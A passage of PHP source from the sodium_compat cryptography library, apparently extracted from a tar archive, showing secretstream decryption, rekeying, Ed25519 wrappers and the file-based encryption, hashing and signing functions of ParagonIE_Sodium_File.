        $cipherlen = ParagonIE_Sodium_Core32_Util::strlen($cipher);
        #     mlen = inlen - crypto_secretstream_xchacha20poly1305_ABYTES;
        $msglen = $cipherlen - ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_ABYTES;
        $aadlen = ParagonIE_Sodium_Core32_Util::strlen($aad);

        #     if (mlen > crypto_secretstream_xchacha20poly1305_MESSAGEBYTES_MAX) {
        #         sodium_misuse();
        #     }
        if ((($msglen + 63) >> 6) > 0xfffffffe) {
            throw new SodiumException(
                'message cannot be larger than SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX bytes'
            );
        }

        #     crypto_stream_chacha20_ietf(block, sizeof block, state->nonce, state->k);
        #     crypto_onetimeauth_poly1305_init(&poly1305_state, block);
        #     sodium_memzero(block, sizeof block);
        $auth = new ParagonIE_Sodium_Core32_Poly1305_State(
            ParagonIE_Sodium_Core32_ChaCha20::ietfStream(32, $st->getCombinedNonce(), $st->getKey())
        );

        #     crypto_onetimeauth_poly1305_update(&poly1305_state, ad, adlen);
        $auth->update($aad);

        #     crypto_onetimeauth_poly1305_update(&poly1305_state, _pad0,
        #         (0x10 - adlen) & 0xf);
        $auth->update(str_repeat("\0", ((0x10 - $aadlen) & 0xf)));


        #     memset(block, 0, sizeof block);
        #     block[0] = in[0];
        #     crypto_stream_chacha20_ietf_xor_ic(block, block, sizeof block,
        #                                        state->nonce, 1U, state->k);
        $block = ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc(
            $cipher[0] . str_repeat("\0", 63),
            $st->getCombinedNonce(),
            $st->getKey(),
            ParagonIE_Sodium_Core32_Util::store64_le(1)
        );
        #     tag = block[0];
        #     block[0] = in[0];
        #     crypto_onetimeauth_poly1305_update(&poly1305_state, block, sizeof block);
        $tag = ParagonIE_Sodium_Core32_Util::chrToInt($block[0]);
        $block[0] = $cipher[0];
        $auth->update($block);


        #     c = in + (sizeof tag);
        #     crypto_onetimeauth_poly1305_update(&poly1305_state, c, mlen);
        $auth->update(ParagonIE_Sodium_Core32_Util::substr($cipher, 1, $msglen));

        #     crypto_onetimeauth_poly1305_update
        #     (&poly1305_state, _pad0, (0x10 - (sizeof block) + mlen) & 0xf);
        $auth->update(str_repeat("\0", ((0x10 - 64 + $msglen) & 0xf)));

        #     STORE64_LE(slen, (uint64_t) adlen);
        #     crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen);
        $slen = ParagonIE_Sodium_Core32_Util::store64_le($aadlen);
        $auth->update($slen);

        #     STORE64_LE(slen, (sizeof block) + mlen);
        #     crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen);
        $slen = ParagonIE_Sodium_Core32_Util::store64_le(64 + $msglen);
        $auth->update($slen);

        #     crypto_onetimeauth_poly1305_final(&poly1305_state, mac);
        #     sodium_memzero(&poly1305_state, sizeof poly1305_state);
        $mac = $auth->finish();

        #     stored_mac = c + mlen;
        #     if (sodium_memcmp(mac, stored_mac, sizeof mac) != 0) {
        #     sodium_memzero(mac, sizeof mac);
        #         return -1;
        #     }

        $stored = ParagonIE_Sodium_Core32_Util::substr($cipher, $msglen + 1, 16);
        if (!ParagonIE_Sodium_Core32_Util::hashEquals($mac, $stored)) {
            return false;
        }

        #     crypto_stream_chacha20_ietf_xor_ic(m, c, mlen, state->nonce, 2U, state->k);
        $out = ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc(
            ParagonIE_Sodium_Core32_Util::substr($cipher, 1, $msglen),
            $st->getCombinedNonce(),
            $st->getKey(),
            ParagonIE_Sodium_Core32_Util::store64_le(2)
        );

        #     XOR_BUF(STATE_INONCE(state), mac,
        #         crypto_secretstream_xchacha20poly1305_INONCEBYTES);
        $st->xorNonce($mac);

        #     sodium_increment(STATE_COUNTER(state),
        #         crypto_secretstream_xchacha20poly1305_COUNTERBYTES);
        $st->incrementCounter();

        #     if ((tag & crypto_secretstream_xchacha20poly1305_TAG_REKEY) != 0 ||
        #         sodium_is_zero(STATE_COUNTER(state),
        #             crypto_secretstream_xchacha20poly1305_COUNTERBYTES)) {
        #         crypto_secretstream_xchacha20poly1305_rekey(state);
        #     }

        // Overwrite by reference:
        $state = $st->toString();

        /** @var bool $rekey */
        $rekey = ($tag & ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY) !== 0;
        if ($rekey || $st->needsRekey()) {
            // DO REKEY
            self::secretstream_xchacha20poly1305_rekey($state);
        }
        return array($out, $tag);
    }

    /**
     * @param string $state
     * @return void
     * @throws SodiumException
     */
    public static function secretstream_xchacha20poly1305_rekey(&$state)
    {
        $st = ParagonIE_Sodium_Core32_SecretStream_State::fromString($state);
        # unsigned char new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES +
        # crypto_secretstream_xchacha20poly1305_INONCEBYTES];
        # size_t        i;
        # for (i = 0U; i < crypto_stream_chacha20_ietf_KEYBYTES; i++) {
        #     new_key_and_inonce[i] = state->k[i];
        # }
        $new_key_and_inonce = $st->getKey();

        # for (i = 0U; i < crypto_secretstream_xchacha20poly1305_INONCEBYTES; i++) {
        #     new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES + i] =
        #         STATE_INONCE(state)[i];
        # }
        $new_key_and_inonce .= ParagonIE_Sodium_Core32_Util::substR($st->getNonce(), 0, 8);

        # crypto_stream_chacha20_ietf_xor(new_key_and_inonce, new_key_and_inonce,
        #                                 sizeof new_key_and_inonce,
        #                                 state->nonce, state->k);

        $st->rekey(ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc(
            $new_key_and_inonce,
            $st->getCombinedNonce(),
            $st->getKey(),
            ParagonIE_Sodium_Core32_Util::store64_le(0)
        ));

        # for (i = 0U; i < crypto_stream_chacha20_ietf_KEYBYTES; i++) {
        #     state->k[i] = new_key_and_inonce[i];
        # }
        # for (i = 0U; i < crypto_secretstream_xchacha20poly1305_INONCEBYTES; i++) {
        #     STATE_INONCE(state)[i] =
        #          new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES + i];
        # }
        # _crypto_secretstream_xchacha20poly1305_counter_reset(state);
        $st->counterReset();

        $state = $st->toString();
    }

    /**
     * Detached Ed25519 signature.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign_detached($message, $sk)
    {
        return ParagonIE_Sodium_Core32_Ed25519::sign_detached($message, $sk);
    }

    /**
     * Attached Ed25519 signature. (Returns a signed message.)
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign($message, $sk)
    {
        return ParagonIE_Sodium_Core32_Ed25519::sign($message, $sk);
    }

    /**
     * Opens a signed message. If valid, returns the message.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $signedMessage
     * @param string $pk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign_open($signedMessage, $pk)
    {
        return ParagonIE_Sodium_Core32_Ed25519::sign_open($signedMessage, $pk);
    }

    /**
     * Verify a detached signature of a given message and public key.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $signature
     * @param string $message
     * @param string $pk
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign_verify_detached($signature, $message, $pk)
    {
        return ParagonIE_Sodium_Core32_Ed25519::verify_detached($signature, $message, $pk);
    }
}
File.php000064400000150473151024233030006137 0ustar00<?php

if (class_exists('ParagonIE_Sodium_File', false)) {
    return;
}
/**
 * Class ParagonIE_Sodium_File
 */
class ParagonIE_Sodium_File extends ParagonIE_Sodium_Core_Util
{
    /* PHP's default buffer size is 8192 for fread()/fwrite(). */
    const BUFFER_SIZE = 8192;

    /**
     * Box a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_box(), but produces
     * the same result.
     *
     * @param string $inputFile  Absolute path to a file on the filesystem
     * @param string $outputFile Absolute path to a file on the filesystem
     * @param string $nonce      Number to be used only once
     * @param string $keyPair    ECDH secret key and ECDH public key concatenated
     *
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box(
        $inputFile,
        $outputFile,
        $nonce,
        #[\SensitiveParameter]
        $keyPair
    ) {
        /* Type checks: */
        if (!is_string($inputFile)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($inputFile) . ' given.');
        }
        if (!is_string($outputFile)) {
            throw new TypeError('Argument 2 must be a string, ' . gettype($outputFile) . ' given.');
        }
        if (!is_string($nonce)) {
            throw new TypeError('Argument 3 must be a string, ' . gettype($nonce) . ' given.');
        }

        /* Input validation: */
        if (!is_string($keyPair)) {
            throw new TypeError('Argument 4 must be a string, ' . gettype($keyPair) . ' given.');
        }
        if (self::strlen($nonce) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_NONCEBYTES) {
            throw new TypeError('Argument 3 must be CRYPTO_BOX_NONCEBYTES bytes');
        }
        if (self::strlen($keyPair) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new TypeError('Argument 4 must be CRYPTO_BOX_KEYPAIRBYTES bytes');
        }

        /** @var int $size */
        $size = filesize($inputFile);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }

        /** @var resource $ifp */
        $ifp = fopen($inputFile, 'rb');
        if (!is_resource($ifp)) {
            throw new SodiumException('Could not open input file for reading');
        }

        /** @var resource $ofp */
        $ofp = fopen($outputFile, 'wb');
        if (!is_resource($ofp)) {
            fclose($ifp);
            throw new SodiumException('Could not open output file for writing');
        }

        $res = self::box_encrypt($ifp, $ofp, $size, $nonce, $keyPair);
        fclose($ifp);
        fclose($ofp);
        return $res;
    }

    /**
     * Open a boxed file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_box_open(), but produces
     * the same result.
     *
     * Warning: Does not protect against TOCTOU attacks. You should
     * just load the file into memory and use crypto_box_open() if
     * you are worried about those.
     *
     * @param string $inputFile
     * @param string $outputFile
     * @param string $nonce
     * @param string $keypair
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_open(
        $inputFile,
        $outputFile,
        $nonce,
        #[\SensitiveParameter]
        $keypair
    ) {
        /* Type checks: */
        if (!is_string($inputFile)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($inputFile) . ' given.');
        }
        if (!is_string($outputFile)) {
            throw new TypeError('Argument 2 must be a string, ' . gettype($outputFile) . ' given.');
        }
        if (!is_string($nonce)) {
            throw new TypeError('Argument 3 must be a string, ' . gettype($nonce) . ' given.');
        }
        if (!is_string($keypair)) {
            throw new TypeError('Argument 4 must be a string, ' . gettype($keypair) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($nonce) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_NONCEBYTES) {
            throw new TypeError('Argument 4 must be CRYPTO_BOX_NONCEBYTES bytes');
        }
        if (self::strlen($keypair) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new TypeError('Argument 4 must be CRYPTO_BOX_KEYPAIRBYTES bytes');
        }

        /** @var int $size */
        $size = filesize($inputFile);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }

        /** @var resource $ifp */
        $ifp = fopen($inputFile, 'rb');
        if (!is_resource($ifp)) {
            throw new SodiumException('Could not open input file for reading');
        }

        /** @var resource $ofp */
        $ofp = fopen($outputFile, 'wb');
        if (!is_resource($ofp)) {
            fclose($ifp);
            throw new SodiumException('Could not open output file for writing');
        }

        $res = self::box_decrypt($ifp, $ofp, $size, $nonce, $keypair);
        fclose($ifp);
        fclose($ofp);
        try {
            ParagonIE_Sodium_Compat::memzero($nonce);
            ParagonIE_Sodium_Compat::memzero($ephKeypair);
        } catch (SodiumException $ex) {
            if (isset($ephKeypair)) {
                unset($ephKeypair);
            }
        }
        return $res;
    }

    /**
     * Seal a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_box_seal(), but produces
     * the same result.
     *
     * @param string $inputFile  Absolute path to a file on the filesystem
     * @param string $outputFile Absolute path to a file on the filesystem
     * @param string $publicKey  ECDH public key
     *
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_seal(
        $inputFile,
        $outputFile,
        #[\SensitiveParameter]
        $publicKey
    ) {
        /* Type checks: */
        if (!is_string($inputFile)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($inputFile) . ' given.');
        }
        if (!is_string($outputFile)) {
            throw new TypeError('Argument 2 must be a string, ' . gettype($outputFile) . ' given.');
        }
        if (!is_string($publicKey)) {
            throw new TypeError('Argument 3 must be a string, ' . gettype($publicKey) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($publicKey) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_PUBLICKEYBYTES) {
            throw new TypeError('Argument 3 must be CRYPTO_BOX_PUBLICKEYBYTES bytes');
        }

        /** @var int $size */
        $size = filesize($inputFile);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }

        /** @var resource $ifp */
        $ifp = fopen($inputFile, 'rb');
        if (!is_resource($ifp)) {
            throw new SodiumException('Could not open input file for reading');
        }

        /** @var resource $ofp */
        $ofp = fopen($outputFile, 'wb');
        if (!is_resource($ofp)) {
            fclose($ifp);
            throw new SodiumException('Could not open output file for writing');
        }

        /** @var string $ephKeypair */
        $ephKeypair = ParagonIE_Sodium_Compat::crypto_box_keypair();

        /** @var string $msgKeypair */
        $msgKeypair = ParagonIE_Sodium_Compat::crypto_box_keypair_from_secretkey_and_publickey(
            ParagonIE_Sodium_Compat::crypto_box_secretkey($ephKeypair),
            $publicKey
        );

        /** @var string $ephemeralPK */
        $ephemeralPK = ParagonIE_Sodium_Compat::crypto_box_publickey($ephKeypair);

        /** @var string $nonce */
        $nonce = ParagonIE_Sodium_Compat::crypto_generichash(
            $ephemeralPK . $publicKey,
            '',
            24
        );

        /** @var int $firstWrite */
        $firstWrite = fwrite(
            $ofp,
            $ephemeralPK,
            ParagonIE_Sodium_Compat::CRYPTO_BOX_PUBLICKEYBYTES
        );
        if (!is_int($firstWrite)) {
            fclose($ifp);
            fclose($ofp);
            ParagonIE_Sodium_Compat::memzero($ephKeypair);
            throw new SodiumException('Could not write to output file');
        }
        if ($firstWrite !== ParagonIE_Sodium_Compat::CRYPTO_BOX_PUBLICKEYBYTES) {
            ParagonIE_Sodium_Compat::memzero($ephKeypair);
            fclose($ifp);
            fclose($ofp);
            throw new SodiumException('Error writing public key to output file');
        }

        $res = self::box_encrypt($ifp, $ofp, $size, $nonce, $msgKeypair);
        fclose($ifp);
        fclose($ofp);
        try {
            ParagonIE_Sodium_Compat::memzero($nonce);
            ParagonIE_Sodium_Compat::memzero($ephKeypair);
        } catch (SodiumException $ex) {
            /** @psalm-suppress PossiblyUndefinedVariable */
            unset($ephKeypair);
        }
        return $res;
    }

    /**
     * Open a sealed file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_box_seal_open(), but produces
     * the same result.
     *
     * Warning: Does not protect against TOCTOU attacks. You should
     * just load the file into memory and use crypto_box_seal_open() if
     * you are worried about those.
     *
     * @param string $inputFile
     * @param string $outputFile
     * @param string $ecdhKeypair
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_seal_open(
        $inputFile,
        $outputFile,
        #[\SensitiveParameter]
        $ecdhKeypair
    ) {
        /* Type checks: */
        if (!is_string($inputFile)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($inputFile) . ' given.');
        }
        if (!is_string($outputFile)) {
            throw new TypeError('Argument 2 must be a string, ' . gettype($outputFile) . ' given.');
        }
        if (!is_string($ecdhKeypair)) {
            throw new TypeError('Argument 3 must be a string, ' . gettype($ecdhKeypair) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($ecdhKeypair) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new TypeError('Argument 3 must be CRYPTO_BOX_KEYPAIRBYTES bytes');
        }

        $publicKey = ParagonIE_Sodium_Compat::crypto_box_publickey($ecdhKeypair);

        /** @var int $size */
        $size = filesize($inputFile);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }

        /** @var resource $ifp */
        $ifp = fopen($inputFile, 'rb');
        if (!is_resource($ifp)) {
            throw new SodiumException('Could not open input file for reading');
        }

        /** @var resource $ofp */
        $ofp = fopen($outputFile, 'wb');
        if (!is_resource($ofp)) {
            fclose($ifp);
            throw new SodiumException('Could not open output file for writing');
        }

        $ephemeralPK = fread($ifp, ParagonIE_Sodium_Compat::CRYPTO_BOX_PUBLICKEYBYTES);
        if (!is_string($ephemeralPK)) {
            throw new SodiumException('Could not read input file');
        }
        if (self::strlen($ephemeralPK) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_PUBLICKEYBYTES) {
            fclose($ifp);
            fclose($ofp);
            throw new SodiumException('Could not read public key from sealed file');
        }

        $nonce = ParagonIE_Sodium_Compat::crypto_generichash(
            $ephemeralPK . $publicKey,
            '',
            24
        );
        $msgKeypair = ParagonIE_Sodium_Compat::crypto_box_keypair_from_secretkey_and_publickey(
            ParagonIE_Sodium_Compat::crypto_box_secretkey($ecdhKeypair),
            $ephemeralPK
        );

        $res = self::box_decrypt($ifp, $ofp, $size, $nonce, $msgKeypair);
        fclose($ifp);
        fclose($ofp);
        try {
            ParagonIE_Sodium_Compat::memzero($nonce);
            ParagonIE_Sodium_Compat::memzero($ephKeypair);
        } catch (SodiumException $ex) {
            if (isset($ephKeypair)) {
                unset($ephKeypair);
            }
        }
        return $res;
    }

    /**
     * Calculate the BLAKE2b hash of a file.
     *
     * @param string      $filePath     Absolute path to a file on the filesystem
     * @param string|null $key          BLAKE2b key
     * @param int         $outputLength Length of hash output
     *
     * @return string                   BLAKE2b hash
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress FailedTypeResolution
     */
    public static function generichash(
        $filePath,
        #[\SensitiveParameter]
        $key = '',
        $outputLength = 32
    ) {
        /* Type checks: */
        if (!is_string($filePath)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($filePath) . ' given.');
        }
        if (!is_string($key)) {
            if (is_null($key)) {
                $key = '';
            } else {
                throw new TypeError('Argument 2 must be a string, ' . gettype($key) . ' given.');
            }
        }
        if (!is_int($outputLength)) {
            if (!is_numeric($outputLength)) {
                throw new TypeError('Argument 3 must be an integer, ' . gettype($outputLength) . ' given.');
            }
            $outputLength = (int) $outputLength;
        }

        /* Input validation: */
        if (!empty($key)) {
            if (self::strlen($key) < ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_KEYBYTES_MIN) {
                throw new TypeError('Argument 2 must be at least CRYPTO_GENERICHASH_KEYBYTES_MIN bytes');
            }
            if (self::strlen($key) > ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_KEYBYTES_MAX) {
                throw new TypeError('Argument 2 must be at most CRYPTO_GENERICHASH_KEYBYTES_MAX bytes');
            }
        }
        if ($outputLength < ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_BYTES_MIN) {
            throw new SodiumException('Argument 3 must be at least CRYPTO_GENERICHASH_BYTES_MIN');
        }
        if ($outputLength > ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_BYTES_MAX) {
            throw new SodiumException('Argument 3 must be at least CRYPTO_GENERICHASH_BYTES_MAX');
        }

        /** @var int $size */
        $size = filesize($filePath);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }

        /** @var resource $fp */
        $fp = fopen($filePath, 'rb');
        if (!is_resource($fp)) {
            throw new SodiumException('Could not open input file for reading');
        }
        $ctx = ParagonIE_Sodium_Compat::crypto_generichash_init($key, $outputLength);
        while ($size > 0) {
            $blockSize = $size > 64
                ? 64
                : $size;
            $read = fread($fp, $blockSize);
            if (!is_string($read)) {
                throw new SodiumException('Could not read input file');
            }
            ParagonIE_Sodium_Compat::crypto_generichash_update($ctx, $read);
            $size -= $blockSize;
        }

        fclose($fp);
        return ParagonIE_Sodium_Compat::crypto_generichash_final($ctx, $outputLength);
    }

    /**
     * Encrypt a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_secretbox(), but produces
     * the same result.
     *
     * @param string $inputFile  Absolute path to a file on the filesystem
     * @param string $outputFile Absolute path to a file on the filesystem
     * @param string $nonce      Number to be used only once
     * @param string $key        Encryption key
     *
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function secretbox(
        $inputFile,
        $outputFile,
        $nonce,
        #[\SensitiveParameter]
        $key
    ) {
        /* Type checks: */
        if (!is_string($inputFile)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($inputFile) . ' given..');
        }
        if (!is_string($outputFile)) {
            throw new TypeError('Argument 2 must be a string, ' . gettype($outputFile) . ' given.');
        }
        if (!is_string($nonce)) {
            throw new TypeError('Argument 3 must be a string, ' . gettype($nonce) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($nonce) !== ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_NONCEBYTES) {
            throw new TypeError('Argument 3 must be CRYPTO_SECRETBOX_NONCEBYTES bytes');
        }
        if (!is_string($key)) {
            throw new TypeError('Argument 4 must be a string, ' . gettype($key) . ' given.');
        }
        if (self::strlen($key) !== ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_KEYBYTES) {
            throw new TypeError('Argument 4 must be CRYPTO_SECRETBOX_KEYBYTES bytes');
        }

        /** @var int $size */
        $size = filesize($inputFile);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }

        /** @var resource $ifp */
        $ifp = fopen($inputFile, 'rb');
        if (!is_resource($ifp)) {
            throw new SodiumException('Could not open input file for reading');
        }

        /** @var resource $ofp */
        $ofp = fopen($outputFile, 'wb');
        if (!is_resource($ofp)) {
            fclose($ifp);
            throw new SodiumException('Could not open output file for writing');
        }

        $res = self::secretbox_encrypt($ifp, $ofp, $size, $nonce, $key);
        fclose($ifp);
        fclose($ofp);
        return $res;
    }
    /**
     * Seal a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_secretbox_open(), but produces
     * the same result.
     *
     * Warning: Does not protect against TOCTOU attacks. You should
     * just load the file into memory and use crypto_secretbox_open() if
     * you are worried about those.
     *
     * @param string $inputFile
     * @param string $outputFile
     * @param string $nonce
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function secretbox_open(
        $inputFile,
        $outputFile,
        $nonce,
        #[\SensitiveParameter]
        $key
    ) {
        /* Type checks: */
        if (!is_string($inputFile)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($inputFile) . ' given.');
        }
        if (!is_string($outputFile)) {
            throw new TypeError('Argument 2 must be a string, ' . gettype($outputFile) . ' given.');
        }
        if (!is_string($nonce)) {
            throw new TypeError('Argument 3 must be a string, ' . gettype($nonce) . ' given.');
        }
        if (!is_string($key)) {
            throw new TypeError('Argument 4 must be a string, ' . gettype($key) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($nonce) !== ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_NONCEBYTES) {
            throw new TypeError('Argument 4 must be CRYPTO_SECRETBOX_NONCEBYTES bytes');
        }
        if (self::strlen($key) !== ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_KEYBYTES) {
            throw new TypeError('Argument 4 must be CRYPTO_SECRETBOXBOX_KEYBYTES bytes');
        }

        /** @var int $size */
        $size = filesize($inputFile);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }

        /** @var resource $ifp */
        $ifp = fopen($inputFile, 'rb');
        if (!is_resource($ifp)) {
            throw new SodiumException('Could not open input file for reading');
        }

        /** @var resource $ofp */
        $ofp = fopen($outputFile, 'wb');
        if (!is_resource($ofp)) {
            fclose($ifp);
            throw new SodiumException('Could not open output file for writing');
        }

        $res = self::secretbox_decrypt($ifp, $ofp, $size, $nonce, $key);
        fclose($ifp);
        fclose($ofp);
        try {
            ParagonIE_Sodium_Compat::memzero($key);
        } catch (SodiumException $ex) {
            /** @psalm-suppress PossiblyUndefinedVariable */
            unset($key);
        }
        return $res;
    }

    /**
     * Sign a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_sign_detached(), but produces
     * the same result.
     *
     * @param string $filePath  Absolute path to a file on the filesystem
     * @param string $secretKey Secret signing key
     *
     * @return string           Ed25519 signature
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign(
        $filePath,
        #[\SensitiveParameter]
        $secretKey
    ) {
        /* Type checks: */
        if (!is_string($filePath)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($filePath) . ' given.');
        }
        if (!is_string($secretKey)) {
            throw new TypeError('Argument 2 must be a string, ' . gettype($secretKey) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($secretKey) !== ParagonIE_Sodium_Compat::CRYPTO_SIGN_SECRETKEYBYTES) {
            throw new TypeError('Argument 2 must be CRYPTO_SIGN_SECRETKEYBYTES bytes');
        }
        if (PHP_INT_SIZE === 4) {
            return self::sign_core32($filePath, $secretKey);
        }

        /** @var int $size */
        $size = filesize($filePath);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }

        /** @var resource $fp */
        $fp = fopen($filePath, 'rb');
        if (!is_resource($fp)) {
            throw new SodiumException('Could not open input file for reading');
        }

        /** @var string $az */
        $az = hash('sha512', self::substr($secretKey, 0, 32), true);

        $az[0] = self::intToChr(self::chrToInt($az[0]) & 248);
        $az[31] = self::intToChr((self::chrToInt($az[31]) & 63) | 64);

        $hs = hash_init('sha512');
        self::hash_update($hs, self::substr($az, 32, 32));
        /** @var resource $hs */
        $hs = self::updateHashWithFile($hs, $fp, $size);

        /** @var string $nonceHash */
        $nonceHash = hash_final($hs, true);

        /** @var string $pk */
        $pk = self::substr($secretKey, 32, 32);

        /** @var string $nonce */
        $nonce = ParagonIE_Sodium_Core_Ed25519::sc_reduce($nonceHash) . self::substr($nonceHash, 32);

        /** @var string $sig */
        $sig = ParagonIE_Sodium_Core_Ed25519::ge_p3_tobytes(
            ParagonIE_Sodium_Core_Ed25519::ge_scalarmult_base($nonce)
        );

        $hs = hash_init('sha512');
        self::hash_update($hs, self::substr($sig, 0, 32));
        self::hash_update($hs, self::substr($pk, 0, 32));
        /** @var resource $hs */
        $hs = self::updateHashWithFile($hs, $fp, $size);

        /** @var string $hramHash */
        $hramHash = hash_final($hs, true);

        /** @var string $hram */
        $hram = ParagonIE_Sodium_Core_Ed25519::sc_reduce($hramHash);

        /** @var string $sigAfter */
        $sigAfter = ParagonIE_Sodium_Core_Ed25519::sc_muladd($hram, $az, $nonce);

        /** @var string $sig */
        $sig = self::substr($sig, 0, 32) . self::substr($sigAfter, 0, 32);

        try {
            ParagonIE_Sodium_Compat::memzero($az);
        } catch (SodiumException $ex) {
            $az = null;
        }
        fclose($fp);
        return $sig;
    }

    /**
     * Verify a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_sign_verify_detached(), but
     * produces the same result.
     *
     * @param string $sig       Ed25519 signature
     * @param string $filePath  Absolute path to a file on the filesystem
     * @param string $publicKey Signing public key
     *
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     * @throws Exception
     */
    public static function verify(
        $sig,
        $filePath,
        $publicKey
    ) {
        /* Type checks: */
        if (!is_string($sig)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($sig) . ' given.');
        }
        if (!is_string($filePath)) {
            throw new TypeError('Argument 2 must be a string, ' . gettype($filePath) . ' given.');
        }
        if (!is_string($publicKey)) {
            throw new TypeError('Argument 3 must be a string, ' . gettype($publicKey) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($sig) !== ParagonIE_Sodium_Compat::CRYPTO_SIGN_BYTES) {
            throw new TypeError('Argument 1 must be CRYPTO_SIGN_BYTES bytes');
        }
        if (self::strlen($publicKey) !== ParagonIE_Sodium_Compat::CRYPTO_SIGN_PUBLICKEYBYTES) {
            throw new TypeError('Argument 3 must be CRYPTO_SIGN_PUBLICKEYBYTES bytes');
        }
        if (self::strlen($sig) < 64) {
            throw new SodiumException('Signature is too short');
        }

        if (PHP_INT_SIZE === 4) {
            return self::verify_core32($sig, $filePath, $publicKey);
        }

        /* Security checks */
        if (
            (ParagonIE_Sodium_Core_Ed25519::chrToInt($sig[63]) & 240)
                &&
            ParagonIE_Sodium_Core_Ed25519::check_S_lt_L(self::substr($sig, 32, 32))
        ) {
            throw new SodiumException('S < L - Invalid signature');
        }
        if (ParagonIE_Sodium_Core_Ed25519::small_order($sig)) {
            throw new SodiumException('Signature is on too small of an order');
        }
        if ((self::chrToInt($sig[63]) & 224) !== 0) {
            throw new SodiumException('Invalid signature');
        }
        $d = 0;
        for ($i = 0; $i < 32; ++$i) {
            $d |= self::chrToInt($publicKey[$i]);
        }
        if ($d === 0) {
            throw new SodiumException('All zero public key');
        }

        /** @var int $size */
        $size = filesize($filePath);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }

        /** @var resource $fp */
        $fp = fopen($filePath, 'rb');
        if (!is_resource($fp)) {
            throw new SodiumException('Could not open input file for reading');
        }

        /** @var bool The original value of ParagonIE_Sodium_Compat::$fastMult */
        $orig = ParagonIE_Sodium_Compat::$fastMult;

        // Set ParagonIE_Sodium_Compat::$fastMult to true to speed up verification.
        ParagonIE_Sodium_Compat::$fastMult = true;

        /** @var ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A */
